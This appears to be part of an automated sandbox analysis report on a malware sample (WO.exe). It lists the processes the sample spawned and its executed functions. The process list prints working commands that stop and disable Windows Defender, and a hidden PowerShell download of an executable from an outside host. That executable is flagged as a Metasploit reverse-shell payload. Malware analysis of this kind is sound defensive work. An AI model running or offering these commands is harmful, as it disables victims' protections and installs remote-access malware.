Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	13:54:11
Start date:	23/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 stop WinDefend
Imagebase:	0x7ff6abc70000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	13:54:11
Start date:	23/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net stop WinDefend
Imagebase:	0x7ff70ee30000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	13:54:11
Start date:	23/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 stop WinDefend
Imagebase:	0x7ff6abc70000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	13:54:11
Start date:	23/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
Imagebase:	0x7ff619dd0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	13:54:11
Start date:	23/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
Imagebase:	0x7ff619dd0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	13:54:11
Start date:	23/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
Imagebase:	0x7ff619dd0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	13:54:11
Start date:	23/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
Imagebase:	0x7ff619dd0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	13:55:01
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe
Imagebase:	0x140000000
File size:	129'024 bytes
MD5 hash:	7176B040816932541EB9C2B91D90B29B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	13:55:01
Start date:	23/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\481A.tmp\481B.tmp\481C.bat C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Imagebase:	0x7ff7899b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	13:55:01
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	13:55:01
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 4996, Parent PID: 4600

General

Target ID:	52
Start time:	13:55:03
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: reddit.exePID: 5744, Parent PID: 4600

General

Target ID:	53
Start time:	13:55:04
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\reddit.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\reddit.exe"
Imagebase:	0x400000
File size:	73'802 bytes
MD5 hash:	23544090C6D379E3ECA7343C4F05D4D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000035.00000002.2895737974.0000000000580000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Metasploit_4a1c4da8, Description: Identifies Metasploit 64 bit reverse tcp shellcode., Source: 00000035.00000002.2895737974.0000000000580000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000035.00000002.2895573514.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: Windows_Trojan_Metasploit_4a1c4da8, Description: Identifies Metasploit 64 bit reverse tcp shellcode., Source: 00000035.00000002.2895573514.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: unknown Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000035.00000000.2341032369.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: Windows_Trojan_Metasploit_4a1c4da8, Description: Identifies Metasploit 64 bit reverse tcp shellcode., Source: 00000035.00000000.2341032369.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	13:55:04
Start date:	23/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Imagebase:	0x7ff665990000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	13:55:04
Start date:	23/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /query /TN "RunRedditLogon"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	13:55:04
Start date:	23/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /query /TN "RunRedditMinute"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	14.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.8%
Total number of Nodes:	814
Total number of Limit Nodes:	20

Executed Functions

Function 000000014000D9C4 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400126D0: TlsGetValue.KERNEL32 ref: 00000001400126E2
Part of subcall function 00000001400126D0: HeapReAlloc.KERNEL32 ref: 0000000140012762

GetTempPathW.KERNEL32 ref: 000000014000D9F3
LoadLibraryW.KERNEL32 ref: 000000014000DA02
GetProcAddress.KERNEL32 ref: 000000014000DA1D
GetLongPathNameW.KERNELBASE(?,?,?,0000000140001F92), ref: 000000014000DA31
FreeLibrary.KERNEL32 ref: 000000014000DA38

Strings

GetLongPathNameW, xrefs: 000000014000DA13
Kernel32.DLL, xrefs: 000000014000D9F9

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: LibraryPath$AddressAllocFreeHeapLoadLongNameProcTempValue
String ID: GetLongPathNameW$Kernel32.DLL
API String ID: 820969696-2943376620
Opcode ID: 7b5facb765f8cdd7be91ebb16a2403b7b75564631065215e584da20e470a0f22
Instruction ID: 08c74a34c6d82e646fe97c561cc400b119dc1938ee8d5d8dcc972cb306c03a44
Opcode Fuzzy Hash: 7b5facb765f8cdd7be91ebb16a2403b7b75564631065215e584da20e470a0f22
Instruction Fuzzy Hash: 17116D31721B4086EF159F27A9843A967A1FB8CFC0F481029EF4E4B7A5DE39C8528340

Function 0000000140001E57 Relevance: 9.3, APIs: 6, Instructions: 259
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempFileNameW.KERNEL32 ref: 0000000140001FBF

Part of subcall function 00000001400121C0: GetLastError.KERNEL32 ref: 00000001400121C4
Part of subcall function 00000001400121C0: TlsGetValue.KERNEL32 ref: 00000001400121D4
Part of subcall function 00000001400121C0: SetLastError.KERNEL32 ref: 00000001400121F1

Part of subcall function 000000014000CA00: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,0000000140002CF1), ref: 000000014000CA47

Part of subcall function 0000000140012210: TlsGetValue.KERNEL32 ref: 0000000140012223
Part of subcall function 0000000140012210: HeapAlloc.KERNEL32 ref: 0000000140012266

Part of subcall function 000000014000DA6C: SetFileAttributesW.KERNEL32 ref: 000000014000DA8C
Part of subcall function 000000014000DA6C: DeleteFileW.KERNEL32 ref: 000000014000DA95

Part of subcall function 000000014000D914: wcsncpy.MSVCRT ref: 000000014000D932
Part of subcall function 000000014000D914: wcslen.MSVCRT ref: 000000014000D944
Part of subcall function 000000014000D914: CreateDirectoryW.KERNEL32 ref: 000000014000D994

GetTempFileNameW.KERNEL32 ref: 0000000140002040

Part of subcall function 0000000140012210: HeapReAlloc.KERNEL32 ref: 0000000140012293

GetTempFileNameW.KERNEL32 ref: 00000001400020C1
PathAddBackslashW.SHLWAPI ref: 00000001400020CD
PathRenameExtensionW.SHLWAPI ref: 000000014000212E
GetTempFileNameW.KERNEL32 ref: 0000000140002153

Part of subcall function 0000000140012360: HeapFree.KERNEL32 ref: 000000014001237F

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: File$NameTemp$Heap$AllocErrorLastPathValue$AttributesBackslashCreateDeleteDirectoryExtensionFreeRenamememmovewcslenwcsncpy
String ID:
API String ID: 4232179356-0
Opcode ID: f37d14f45d1a2abd6f91fd25c4a0b9dbf2c58692b7ebd1d65ebe457cd595aad6
Instruction ID: 2ef6d83f5e2b3c8fb19d65fceeff62dc40447b47a2c1a218917e14d6a90cbc88
Opcode Fuzzy Hash: f37d14f45d1a2abd6f91fd25c4a0b9dbf2c58692b7ebd1d65ebe457cd595aad6
Instruction Fuzzy Hash: E38162FBE69644E5EA07B763BC86BED5220D3AD3D4F504410FF08062A3EE3995E64B10

Function 000000014000DE50 Relevance: 9.2, APIs: 6, Instructions: 151
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400112A8: EnterCriticalSection.KERNEL32 ref: 00000001400112C4
Part of subcall function 00000001400112A8: LeaveCriticalSection.KERNEL32 ref: 0000000140011355

CreateFileW.KERNEL32 ref: 000000014000DEED
CreateFileW.KERNEL32 ref: 000000014000DF37
CreateFileW.KERNEL32 ref: 000000014000DF7E
CreateFileW.KERNEL32 ref: 000000014000DFAC
HeapAlloc.KERNEL32 ref: 000000014000DFED
SetFilePointer.KERNEL32 ref: 000000014000E047

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: File$Create$CriticalSection$AllocEnterHeapLeavePointer
String ID:
API String ID: 2685021396-0
Opcode ID: bf349e5ae30ca8a1459a9c900c950eddfabbaec973a548aea2fdccc3e75a92be
Instruction ID: 9fd7d13fb8664e67d48ce56ae15862c74b29b4b7423edb5d501112f331116329
Opcode Fuzzy Hash: bf349e5ae30ca8a1459a9c900c950eddfabbaec973a548aea2fdccc3e75a92be
Instruction Fuzzy Hash: 2B51D4B261469086E761CF17F9007AA7690B39CBE4F04873AFF6A47BE4DB79C4419B10

Function 000000014000593C Relevance: 7.0, APIs: 4, Instructions: 980
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140012450: wcslen.MSVCRT ref: 000000014001246E

Part of subcall function 0000000140012210: TlsGetValue.KERNEL32 ref: 0000000140012223
Part of subcall function 0000000140012210: HeapAlloc.KERNEL32 ref: 0000000140012266

Part of subcall function 0000000140012210: HeapReAlloc.KERNEL32 ref: 0000000140012293

GetModuleHandleW.KERNEL32 ref: 00000001400061AE

Part of subcall function 00000001400121C0: GetLastError.KERNEL32 ref: 00000001400121C4
Part of subcall function 00000001400121C0: TlsGetValue.KERNEL32 ref: 00000001400121D4
Part of subcall function 00000001400121C0: SetLastError.KERNEL32 ref: 00000001400121F1

Part of subcall function 00000001400125D0: TlsGetValue.KERNEL32 ref: 00000001400125DA

Part of subcall function 0000000140007DC0: CharUpperW.USER32 ref: 0000000140007E24

Part of subcall function 0000000140001E57: GetTempFileNameW.KERNEL32 ref: 0000000140001FBF

PathRemoveBackslashW.SHLWAPI ref: 00000001400063A7

Part of subcall function 0000000140012520: TlsGetValue.KERNEL32 ref: 000000014001252A

Part of subcall function 000000014000C45C: SetEnvironmentVariableW.KERNEL32 ref: 000000014000C476

PathQuoteSpacesW.SHLWAPI ref: 00000001400064FF
PathQuoteSpacesW.SHLWAPI ref: 000000014000656B

Part of subcall function 0000000140007284: CreateThread.KERNEL32 ref: 00000001400072B3
Part of subcall function 0000000140007284: EnterCriticalSection.KERNEL32 ref: 00000001400072CC
Part of subcall function 0000000140007284: LeaveCriticalSection.KERNEL32 ref: 0000000140007344

Part of subcall function 0000000140012360: HeapFree.KERNEL32 ref: 000000014001237F

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: Value$HeapPath$AllocCriticalErrorLastQuoteSectionSpaces$BackslashCharCreateEnterEnvironmentFileFreeHandleLeaveModuleNameRemoveTempThreadUpperVariablewcslen
String ID:
API String ID: 2499486723-0
Opcode ID: 01fd8b8b98fab0c980f96e61b2251792a09e9ddd7d05bec7d734751dcc1b6e06
Instruction ID: 5e2f233be3bb1e1a489454234068146e28d45b36aeb09ace1181e30b51997f55
Opcode Fuzzy Hash: 01fd8b8b98fab0c980f96e61b2251792a09e9ddd7d05bec7d734751dcc1b6e06
Instruction Fuzzy Hash: 6C722BB6E25548D6EA16B7B7B8877E95220A3AD394F500411FF4C0B363EE39C5F64B10

Function 000000014000E620 Relevance: 6.1, APIs: 4, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32 ref: 000000014000E664
memmove.MSVCRT(?,?,?,?,?,000000014000E5DD), ref: 000000014000E69F

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: FilePointermemmove
String ID:
API String ID: 2366752189-0
Opcode ID: b4f1478b6fdc608b573b2d6bb241fddc82556d2816959310d2dbf51914ce2f41
Instruction ID: b9f44d82ba4cb6c24f152d63ce96d8852f082d92484b54d7365d071901ec84b9
Opcode Fuzzy Hash: b4f1478b6fdc608b573b2d6bb241fddc82556d2816959310d2dbf51914ce2f41
Instruction Fuzzy Hash: 7541837770468086DB01CF7AF1402ADF7A4EB98BD9F084426EF4C43BA5DA39C591CB50

Function 000000014000E3F0 Relevance: 4.6, APIs: 3, Instructions: 67
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32 ref: 000000014000E472
WriteFile.KERNEL32 ref: 000000014000E4D6
HeapFree.KERNEL32 ref: 000000014000E4E8

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: FileWrite$FreeHeap
String ID:
API String ID: 74418370-0
Opcode ID: 3e7180477ba1f40fccd38ab851f43380a29ccb8c1311c53bf450c0723d734870
Instruction ID: 9d08b72cfe526555b527e3d6fc60fa1eae748afb3cf0625e1a419d858907832f
Opcode Fuzzy Hash: 3e7180477ba1f40fccd38ab851f43380a29ccb8c1311c53bf450c0723d734870
Instruction Fuzzy Hash: 43317EB2205A8082EB22DF16E0453A9B7B0F789BD4F548515EB59577F4DF3EC488CB00

Function 000000014000E770 Relevance: 4.6, APIs: 3, Instructions: 51
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WideCharToMultiByte.KERNEL32 ref: 000000014000E7A9
HeapAlloc.KERNEL32 ref: 000000014000E7CA
WideCharToMultiByte.KERNEL32 ref: 000000014000E7F8

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: ByteCharMultiWide$AllocHeap
String ID:
API String ID: 3475569825-0
Opcode ID: 49eb562b8cb434ff95f7e7d63f5ecf434c56baadcc58e4f799a86c336de5446e
Instruction ID: ae5164d7e213c5423ce426761272d4060c1fe25f0e8d52ef4d31f29a04fa76ea
Opcode Fuzzy Hash: 49eb562b8cb434ff95f7e7d63f5ecf434c56baadcc58e4f799a86c336de5446e
Instruction Fuzzy Hash: D9112B72615B8082E754DF26B84435AB7A5FBC8BD0F148228EF9D63BA4DF38C5229704

Function 000000014000D914 Relevance: 4.5, APIs: 3, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncpy.MSVCRT ref: 000000014000D932
wcslen.MSVCRT ref: 000000014000D944
CreateDirectoryW.KERNEL32 ref: 000000014000D994

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: CreateDirectorywcslenwcsncpy
String ID:
API String ID: 961886536-0
Opcode ID: fa21f94af638c1889f77ff21a456a4ec01e86cfe5917c6a19cc66424906e9b15
Instruction ID: 5f5e6732187473c7e9a992da28a106256b0abf82a063e4d7cd37b44a9c7c83f6
Opcode Fuzzy Hash: fa21f94af638c1889f77ff21a456a4ec01e86cfe5917c6a19cc66424906e9b15
Instruction Fuzzy Hash: 100188A621264191EF72DB65E0643E9B350F78C7C4F804523FB8D036A8EE3DC645CB14

Function 000000014000B538 Relevance: 4.5, APIs: 3, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 000000014000B547
InitCommonControlsEx.COMCTL32 ref: 000000014000B561
CoInitialize.OLE32 ref: 000000014000B569

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: CommonControlsInitInitializememset
String ID:
API String ID: 2179856907-0
Opcode ID: 1d0403c036cf950124697b7ff717d38e0227670877df9763daf1147e72240267
Instruction ID: 449a974473b47bcf77cc2e9d1d873e7016711834fb404a36d393ff203d460c1f
Opcode Fuzzy Hash: 1d0403c036cf950124697b7ff717d38e0227670877df9763daf1147e72240267
Instruction Fuzzy Hash: E0E0E27263658092E785EB22E8857AEB260FB88748FC06105F38B469A5CF3DC659CF00

Function 0000000140012210 Relevance: 3.8, APIs: 3, Instructions: 51
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32 ref: 0000000140012223
HeapAlloc.KERNEL32 ref: 0000000140012266
HeapReAlloc.KERNEL32 ref: 0000000140012293

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: AllocHeap$Value
String ID:
API String ID: 3898337583-0
Opcode ID: 8fb7bdff1a5ea7f5a6416ebb7e65581105b868b3e6afb08efbefc70494558fec
Instruction ID: 13d1d2221b5dfffbe944c94766c5cf34ad854dcf92a9a233d77868c63a58341b
Opcode Fuzzy Hash: 8fb7bdff1a5ea7f5a6416ebb7e65581105b868b3e6afb08efbefc70494558fec
Instruction Fuzzy Hash: BA21A336609B40C6DA21CB5AE89136AB7A1F7CDBD4F108126EB8D87B38DF3DC5518B00

Function 00000001400029C8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetExitCodeProcess.KERNEL32 ref: 0000000140002ADD

Strings

open, xrefs: 0000000140002A68, 0000000140002A75

Memory Dump Source

Source File: 00000000.00000002.1738633150.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1738615542.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738657685.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738674814.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738690516.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_WO.jbxd

Similarity

API ID: CodeExitProcess
String ID: open
API String ID: 3861947596-2758837156
Opcode ID: b7feb277e73c6429ec278226bbe6df587e3a7ad8db4220ec3f4f0566a99c26d5
Instruction ID: e85bff13557fc8eee7e7e221a0258bb1a2e766680f88975b06e903b36e14beee
Opcode Fuzzy Hash: b7feb277e73c6429ec278226bbe6df587e3a7ad8db4220ec3f4f0566a99c26d5
Instruction Fuzzy Hash: 44315E73A19A84D9DA619B6AF8417EE6364F388784F404415FF8D07B6ADF3CC2958B40

Function 0000000140001000 Relevance: 3.1, APIs: 2, Instructions: 112
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140012060: HeapCreate.KERNEL32 ref: 000000014001206E
Part of subcall function 0000000140012060: TlsAlloc.KERNEL32 ref: 000000014001207B

Part of subcall function 000000014000C980: HeapCreate.KERNEL32 ref: 000000014000C98E

Part of subcall function 000000014000B538: memset.MSVCRT ref: 000000014000B547
Part of subcall function 000000014000B538: InitCommonControlsEx.COMCTL32 ref: 000000014000B561
Part of subcall function 000000014000B538: CoInitialize.OLE32 ref: 000000014000B569

Part of subcall function 00000001400120D0: HeapAlloc.KERNEL32 ref: 0000000140012123

Part of subcall function 000000014000CCD8: HeapAlloc.KERNEL32 ref: 000000014000CD11
